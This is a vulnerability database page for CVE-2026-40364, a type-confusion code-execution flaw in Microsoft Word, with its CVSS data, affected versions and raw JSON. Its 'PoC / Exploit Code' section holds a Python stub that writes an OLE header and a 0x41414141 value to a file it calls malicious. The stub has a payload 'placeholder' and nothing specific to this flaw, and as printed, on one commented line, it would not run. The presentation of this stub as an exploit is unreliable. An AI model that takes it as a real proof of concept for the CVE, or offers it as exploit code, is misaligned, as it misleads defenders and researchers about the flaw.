Security Vulnerability Report
中文
CVE-2026-40364 CVSS 8.4 HIGH

CVE-2026-40364

Published: 2026-05-12 18:17:15
Last Modified: 2026-05-13 15:34:53

Description

Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Office Word 2016
Microsoft Office Word 2019
Microsoft Office Word 2021
Microsoft Office 365

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Proof of Concept for CVE-2026-40364 # This script generates a malformed Office document structure to trigger type confusion. # Note: Actual exploitation requires specific memory layout knowledge. def generate_malicious_doc(filename): header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE Header # Malformed type identifier causing confusion in parser malicious_type = struct.pack('<I', 0x41414141) with open(filename, 'wb') as f: f.write(header) f.write(b'\x00' * 0x20) # Padding f.write(malicious_type) # Payload placeholder would go here print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_doc("cve_2026_40364_poc.doc")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40364", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:15.350", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-843"}, {"lang": "en", "value": "CWE-908"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364", "source": "[email protected]"}]}}